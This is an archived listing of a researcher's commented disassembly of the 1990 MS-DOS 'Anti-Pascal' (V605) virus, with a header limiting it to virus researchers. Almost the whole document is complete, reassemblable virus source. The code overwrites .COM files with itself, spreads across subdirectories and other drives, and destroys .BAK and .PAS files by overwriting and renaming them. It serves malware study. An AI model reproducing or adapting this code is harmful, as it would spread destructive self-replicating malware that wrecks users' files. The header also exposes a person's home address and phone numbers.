home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AP-605.ASM < prev    next >
Assembly Source File  |  1990-06-08  |  10KB  |  391 lines

  1.     page    ,132
  2.     name    V605
  3.     title    V605 - The 'Anti-Pascal' Virus
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║                 The 'Anti-Pascal' Virus                         ║
  11. ; ║           Disassembled by Vesselin Bontchev, June 1990          ║
  12. ; ║                                         ║
  13. ; ║            Copyright (c) Vesselin Bontchev 1989, 1990             ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code,ds:code
  23.  
  24.     org    100
  25.  
  26. vlen    =    v_end-start
  27. crit    equ    12
  28.  
  29. start:
  30.     push    ax        ; Save registers used
  31.     push    cx
  32.     push    si
  33.     push    di
  34.     push    bx
  35.     push    flen        ; Save current file length
  36.  
  37. ; The operand of the instruction above is used as a signature by the virus
  38.  
  39. sign    equ    $-2
  40.  
  41.     jmp    v_start     ; Go to virus start
  42.  
  43. flen    dw    vlen        ; File length before infection
  44. fmask    db    '*.'            ; Mask for FindFirst/FindNext
  45. fext    db    'com', 0        ; The extension part of the file mask
  46. parent    db    '..', 0         ; Path for changing to the parent dir
  47.  
  48. com    db    'com'           ; File extensions used
  49. bak    db    'bak'
  50. pas    db    'pas'
  51. wild    db    '???'
  52. exe    db    'exe'
  53.  
  54. dta    equ    $        ; Disk Transfer Address area
  55. drive    db    ?        ;Drive to search for
  56. pattern db    11d dup (?)    ;Search pattern
  57. reserve db    9 dup (?)    ;Not used
  58. attrib    db    ?        ;File attribute
  59. time    dw    ?        ;File time
  60. date    dw    ?        ;File date
  61. fsize    dd    ?        ;File size
  62. namez    db    14d dup (?)    ;File name found
  63.  
  64. counter db    ?
  65. mem_seg dw    ?        ; Segment of the allocated I/O buffer
  66. sizehld dw    ?        ; Size holder
  67.  
  68. v_start:
  69.     mov    counter,2    ; Set initial counter value
  70.     mov    bx,1000     ; Shrink program memory size to 64 K
  71.     mov    ah,4A
  72.     int    21        ; Do it
  73.  
  74.     mov    ah,48        ; Allocate I/O buffer in memory
  75.     mov    bx,vlen/16d+1    ;  (at least vlen long)
  76.     int    21        ; Do it
  77.     jc    cleanup     ; Exit on error
  78.     mov    mem_seg,ax    ; Save the segment of the allocated memory
  79.  
  80.     mov    ax,2524     ; Set critical error handler
  81.     mov    dx,offset int_24
  82.     int    21        ; Do it
  83.  
  84.     mov    ah,1A        ; Set new DTA area
  85.     mov    dx,offset dta
  86.     int    21        ; Do it
  87.  
  88.     mov    ah,19        ; Get default drive
  89.     int    21
  90.     push    ax        ; Save it on stack
  91.  
  92.     call    infect        ; Proceed with infection
  93.     jc    cleanup     ; Exit on error
  94.  
  95.     int    11        ; Put equipment bits in ax
  96.     test    ax,1        ; Diskette drives present?
  97.     jz    cleanup     ; Exit if not (?!)
  98.  
  99.     shl    ax,1        ; Get number of floppy disk drives
  100.     shl    ax,1        ;  in AH (0-3 means 1-4 drives)
  101.     and    ah,3
  102.  
  103.     add    ah,2        ; Convert the number of drives to
  104.     mov    al,ah        ;  the range 2-5 and put it into BL
  105.     mov    bx,ax
  106.     xor    bh,bh
  107.  
  108.     cmp    bl,3        ; More than 2 floppy drives?
  109.     ja    many        ; Check if the highest one is removable if so
  110.     mov    bl,3        ; Otherwise check disk D:
  111. many:
  112.     mov    ax,4408     ; Check whether device is removable
  113.     int    21
  114.     jc    cleanup     ; Exit on error (network)
  115.     or    ax,ax        ; Is device removable?
  116.     jz    cleanup     ; Exit if so
  117.  
  118.     mov    dl,bl        ; Otherwise select it as default
  119.     mov    ah,0E
  120.     int    21        ; Do it
  121.  
  122.     call    infect        ; Proceed with this drive also
  123.  
  124. cleanup:
  125.     pop    dx        ; Restore saved default disk from stack
  126.     mov    ah,0E        ; Set default drive
  127.     int    21        ; Do it
  128.  
  129.     pop    flen        ; Restore flen
  130.  
  131.     mov    es,mem_seg    ; Free allocated memory
  132.     mov    ah,49
  133.     int    21        ; Do it
  134.  
  135.     mov    ah,4A        ; Get all the available memory
  136.     push    ds        ; ES := DS
  137.     pop    es
  138.     mov    bx,-1
  139.     int    21        ; Do it
  140.  
  141.     mov    ah,4A        ; Assign it to the program (the initial state)
  142.     int    21        ; Do it
  143.  
  144.     mov    dx,80        ; Restore old DTA
  145.     mov    ah,1A
  146.     int    21        ; Do it
  147.  
  148.     mov    ax,2524     ; Restore old critical error handler
  149.     push    ds        ; Save DS
  150.     lds    dx,dword ptr ds:[crit]
  151.     int    21        ; Do it
  152.     pop    ds        ; Restore DS
  153.  
  154.     pop    bx        ; Restore BX
  155.  
  156.     mov    ax,4F        ; Copy the program at exit_pgm into
  157.     mov    es,ax        ;  the Intra-Aplication Communication
  158.     xor    di,di        ;  Area (0000:04F0h)
  159.     mov    si,offset exit_pgm
  160.     mov    cx,pgm_end-exit_pgm    ; exit_pgm length
  161.     cld
  162.     rep    movsb        ; Do it
  163.     mov    ax,ds        ; Correct the Far JMP instruction with
  164.     stosw            ;  the current DS value
  165.  
  166.     mov    di,offset start ; Prepare for moving vlen bytes
  167.     mov    si,flen     ;  from file end to start
  168.     add    si,di
  169.     mov    cx,vlen
  170.     push    ds        ; ES := DS
  171.     pop    es
  172. ;    jmp    far ptr 004F:0000    ; Go to exit_pgm
  173.     db    0EA, 0, 0, 4F, 0
  174.  
  175. exit_pgm:
  176.     rep    movsb        ; Restore the original bytes of the file
  177.     pop    di        ; Restore registers used
  178.     pop    si
  179.     pop    cx
  180.     pop    ax
  181.     db    0EA, 0, 1    ; JMP Far at XXXX:0100
  182. pgm_end equ    $
  183.  
  184. lseek:
  185.     mov    ah,42
  186.     xor    cx,cx        ; Offset := 0
  187.     xor    dx,dx
  188.     int    21        ; Do it
  189.     ret            ; And exit
  190.  
  191. f_first:            ; Find first file with extension pointed by SI
  192.     mov    di,offset fext    ; Point DI at extension part of fmask
  193.     cld            ; Clear direction flag
  194.     movsw            ; Copy the extension pointed by SI
  195.     movsb            ;  to file mask for FindFirst/FindNext
  196.     mov    ah,4E        ; Find first file matching fmask
  197.     mov    cx,20        ; Normal files only
  198.     mov    dx,offset fmask
  199.     ret            ; Exit
  200.  
  201. wr_body:
  202.     mov    ax,3D02     ; Open file for reading and writing
  203.     mov    dx,offset namez ; FIle name is in namez
  204.     int    21        ; Do it
  205.     mov    bx,ax        ; Save handle in BX
  206.  
  207.     mov    ah,3F        ; Read the first vlen bytes of the file
  208.     mov    cx,vlen     ;  in the allocated memory buffer
  209.     push    ds        ; Save DS
  210.     mov    ds,mem_seg
  211.     xor    dx,dx
  212.     int    21        ; Do it
  213.  
  214.     mov    ax,ds:[sign-start]    ; Get virus signature
  215.     pop    ds        ; Restore DS
  216.     cmp    ax,word ptr ds:[offset sign]    ; File already infected?
  217.     je    is_inf        ; Exit if so
  218.     push    ax        ; Save AX
  219.     mov    al,0        ; Lseek to the file beginning
  220.     call    lseek        ; Do it
  221.     mov    ah,40        ; Write virus body over the
  222.     mov    dx,offset start ;  first bytes of the file
  223.     mov    cx,sizehld    ; Number of bytes to write
  224.     int    21        ; Do it
  225.  
  226.     pop    ax        ; Restore AX
  227.     dec    counter     ; Decrement counter
  228.     clc            ; CF == 0 means infection successfully done
  229.     ret            ; Exit
  230. is_inf:
  231.     stc            ; CF == 1 means file already infected
  232.     ret            ; Exit
  233.  
  234. destroy:
  235.     call    f_first     ; Find first file to detroy
  236. f_next1:
  237.     int    21        ; Do it
  238.     jc    no_more1    ; Exit if no more files
  239.  
  240.     mov    ax,word ptr fsize    ; Get file size
  241.     mov    sizehld,ax    ; And save it in sizehld
  242.     call    wr_body     ; Write virus body over the file
  243.     jc    close1        ; Exit on error
  244.     mov    si,offset com    ; Change fmask to '*.COM'
  245.     call    f_first     ; Do it
  246.     mov    ah,56        ; Rename file just destroyed as a .COM one
  247.     mov    di,dx
  248.     mov    dx,offset namez ; File name to rename
  249.     int    21        ; Do it
  250.  
  251. ; The RENAME function call will fall if file with this name already exists.
  252.  
  253.     jnc    close1        ; Exit if all is OK
  254.  
  255.     mov    si,offset exe    ; Otherwise try to rename the file
  256.     call    f_first     ;  as an .EXE one
  257.     mov    ah,56
  258.     int    21        ; Do it
  259.  
  260. close1:
  261.     mov    ah,3E        ; Close the file handle
  262.     int    21        ; Do it
  263.  
  264.     cmp    counter,0    ; Two files already infected?
  265.     je    stop        ; Stop if so
  266.     mov    ah,4F        ; Other wise proceed with the next file
  267.     jmp    f_next1
  268.  
  269. ; Here the returned error code in CF means:
  270. ;    0 - renaming unsuccessful
  271. ;    1 - renaming successful
  272.  
  273. stop:
  274.     clc
  275. no_more1:
  276.     cmc            ; Complement CF (CF := not CF)
  277.     ret
  278.  
  279. infect:
  280.     mov    si,offset com    ; Find the first .COM file in this dir
  281.     call    f_first
  282. f_next2:
  283.     int    21        ; Do it
  284.     jc    do_damage    ; Do damage if no such files
  285.  
  286.     mov    ax,word ptr fsize    ; Check the size of the file found
  287.     cmp    ax,vlen     ; Less than virus length?
  288.     jb    close2        ; Too small, don't touch
  289.     cmp    ax,0FFFF-vlen    ; Bigger than 64 K - vlen?
  290.     ja    close2        ; Too big, don't touch
  291.     mov    flen,ax     ; Save file length
  292.     mov    sizehld,vlen
  293.     call    wr_body     ; Write virus body over the file
  294.     jc    close2        ; Exit on error
  295.     cmp    ax,6F43     ; ?!
  296.     je    close2
  297.     mov    al,2        ; Lseek to file end
  298.     call    lseek        ; Do it
  299.     push    ds        ; Save DS
  300.     mov    ds,mem_seg    ; Write the original bytes from
  301.     mov    cx,vlen     ;  the file beginning after its end
  302.     xor    dx,dx
  303.     mov    ah,40
  304.     int    21        ; Do it
  305.     pop    ds        ; Restore DS
  306.  
  307. close2:
  308.     mov    ah,3E        ; Close the file handle
  309.     int    21        ; Do it
  310.  
  311.     mov    ah,4F        ; Prepare for FindNext
  312.     cmp    counter,0    ; Two files already infected?
  313.     jne    f_next2     ; Continue if not
  314.     stc            ; Otherwise set CF to indicate error
  315. err_xit:
  316.     ret            ; And exit
  317.  
  318. do_damage:
  319.     mov    si,offset bak    ; Try to "infect" and rename a .BAK file
  320.     call    destroy     ; Do it
  321.     jc    err_xit     ; Exit if "infection" successful
  322.     mov    si,offset pas    ; Try to "infect" and rename a .PAS file
  323.     call    destroy     ; Do it
  324.     jc    err_xit     ; Exit if "infection" successful
  325.     mov    si,offset wild    ; Otherwise perform a subdirectory scan
  326.     call    f_first
  327.     mov    cx,110111b    ; Find any ReadOnly/Hidden/System/Dir/Archive
  328.  
  329. f_next3:
  330.     int    21        ; Do it
  331.     jc    no_more2    ; Exit if no more
  332.     mov    al,attrib    ; Check attributes of the file found
  333.     test    al,10000b    ; Is it a directory?
  334.     jz    bad_file    ; Skip it if not
  335.     mov    di,offset namez ; Otherwise get its name
  336.     cmp    byte ptr [di],'.'       ; "." or ".."?
  337.     je    bad_file    ; Skip it if so
  338.     mov    dx,di        ; Otherwise change to that subdirectory
  339.     mov    ah,3Bh
  340.     int    21        ; Do it
  341.  
  342.     mov    cx,16        ; Save the 44 bytes of dta on stack
  343.     mov    si,offset dta    ; Point SI at the first word of dta
  344. lp1:
  345.     push    word ptr [si]    ; Push the current word
  346.     add    si,2        ; Point SI at the next one
  347.     loop    lp1        ; Loop until done
  348.  
  349.     call    infect        ; Preform infection on this subdirectory
  350.  
  351.     mov    cx,16        ; Restore the bytes pushed
  352.     mov    si,offset counter-2    ; Point SI at the last word of dta
  353. lp2:
  354.     pop    word ptr [si]    ; Pop the current word from stack
  355.     sub    si,2        ; Point SI at the previous word
  356.     loop    lp2        ; Loop until done
  357.  
  358.     pushf            ; Save flags
  359.     mov    dx,offset parent
  360.     mov    ah,3Bh        ; Change to parent directory
  361.     int    21        ; Do it
  362.     popf            ; Restore flags
  363.     jc    err_xit     ; Exit if infection done
  364.  
  365. bad_file:
  366.     mov    ah,4F        ; Go find the next file
  367.     jmp    f_next3
  368.  
  369. no_more2:
  370.     clc            ; Return CF == 0 (no errors)
  371.     ret            ; Exit
  372.  
  373. int_24:             ; Critical error handler
  374.     mov    al,2        ; Abort suggested (?!)
  375.     iret            ; Return
  376.  
  377. v_end    =    $
  378.  
  379. ; Here goes the rest of the original program (if any):
  380.  
  381. ; And here (after the  end of file) are the overwritten first 650 bytes:
  382.  
  383.     db    0E9, 55, 2
  384.     db    597d dup (90)
  385.     mov    ax,4C00     ; Program terminate
  386.     int    21
  387.  
  388. code    ends
  389.     end    start
  390.  
  391.